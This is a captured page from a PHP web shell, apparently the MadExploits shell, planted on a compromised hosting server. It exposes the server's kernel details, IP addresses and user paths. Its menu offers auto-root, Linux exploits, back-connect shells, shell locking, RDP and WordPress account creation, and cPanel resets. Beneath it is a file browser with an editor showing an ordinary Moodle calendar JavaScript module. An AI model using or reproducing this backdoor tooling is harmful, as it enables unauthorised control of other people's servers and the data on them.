Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.179.43
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
calendar /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
calendar.js
9.79
KB
-rw-rw-r--
calendar_filter.js
3.63
KB
-rw-r--r--
calendar_mini.js
3.91
KB
-rw-r--r--
calendar_threemonth.js
5.55
KB
-rw-rw-r--
calendar_view.js
3.62
KB
-rw-rw-r--
crud.js
8.87
KB
-rw-r--r--
drag_drop_data_store.js
5.4
KB
-rw-r--r--
event_form.js
2.96
KB
-rw-r--r--
events.js
1.53
KB
-rw-rw-r--
modal_delete.js
3.58
KB
-rw-r--r--
modal_event_form.js
14.65
KB
-rw-rw-r--
month_navigation_drag_drop.js
7.29
KB
-rw-r--r--
month_view_drag_drop.js
13.04
KB
-rw-r--r--
repository.js
5.42
KB
-rw-rw-r--
selectors.js
2.62
KB
-rw-rw-r--
summary_modal.js
7.06
KB
-rw-r--r--
view_manager.js
15.46
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : calendar_threemonth.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This module handles display of multiple mini calendars in a view, and * movement through them. * * @module core_calendar/calendar_threemonth * @copyright 2017 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define([ 'jquery', 'core/notification', 'core_calendar/selectors', 'core_calendar/events', 'core/templates', 'core_calendar/view_manager', ], function( $, Notification, CalendarSelectors, CalendarEvents, Templates, CalendarViewManager ) { /** * Listen to and handle any calendar events fired by the calendar UI. * * @method registerCalendarEventListeners * @param {object} root The calendar root element */ var registerCalendarEventListeners = function(root) { var body = $('body'); body.on([CalendarEvents.monthChanged, CalendarEvents.dayChanged].join(' '), function(e, year, month, courseId, categoryId) { // We have to use a queue here because the calling code is decoupled from these listeners. // It's possible for the event to be called multiple times before one call is fully resolved. root.queue(function(next) { return processRequest(e, year, month, courseId, categoryId) .then(function() { return next(); }) .fail(Notification.exception) ; }); }); var processRequest = function(e, year, month, courseId, categoryId) { var newCurrentMonth = root.find('[data-year="' + year + '"][data-month="' + month + '"]'); var newParent = newCurrentMonth.closest(CalendarSelectors.calendarPeriods.month); var allMonths = root.find(CalendarSelectors.calendarPeriods.month); var previousMonth = $(allMonths[0]); var nextMonth = $(allMonths[2]); var placeHolder = $('<span>'); placeHolder.attr('data-template', 'core_calendar/threemonth_month'); placeHolder.attr('data-includenavigation', false); placeHolder.attr('data-mini', true); var placeHolderContainer = $('<div>'); placeHolderContainer.hide(); placeHolderContainer.append(placeHolder); var requestYear; var requestMonth; var oldMonth; if (newParent.is(previousMonth)) { // Fetch the new previous month. placeHolderContainer.insertBefore(previousMonth); requestYear = previousMonth.data('previousYear'); requestMonth = previousMonth.data('previousMonth'); oldMonth = nextMonth; } else if (newParent.is(nextMonth)) { // Fetch the new next month. placeHolderContainer.insertAfter(nextMonth); requestYear = nextMonth.data('nextYear'); requestMonth = nextMonth.data('nextMonth'); oldMonth = previousMonth; } else { return $.Deferred().resolve(); } return CalendarViewManager.refreshMonthContent( placeHolder, requestYear, requestMonth, courseId, categoryId, placeHolder ) .then(function() { var slideUpPromise = $.Deferred(); var slideDownPromise = $.Deferred(); oldMonth.slideUp('fast', function() { $(this).remove(); slideUpPromise.resolve(); }); placeHolderContainer.slideDown('fast', function() { slideDownPromise.resolve(); }); return $.when(slideUpPromise, slideDownPromise); }); }; // Listen for a click on the day link in the three month block to load the day view. root.on('click', CalendarSelectors.links.miniDayLink, function(e) { var miniDayLink = $(e.target); var year = miniDayLink.data('year'), month = miniDayLink.data('month'), day = miniDayLink.text(), courseId = miniDayLink.data('courseid'), categoryId = miniDayLink.data('categoryid'), calendarRoot = $('body').find(CalendarSelectors.calendarMain); CalendarViewManager.refreshDayContent(calendarRoot, year, month, day, courseId, categoryId, calendarRoot.find('[id^="calendar-"][data-template^="core_calendar/"]'), 'core_calendar/calendar_day'); e.preventDefault(); window.history.pushState({}, '', '?view=day'); }); }; return { init: function(root) { root = $(root); registerCalendarEventListeners(root); } }; });
Close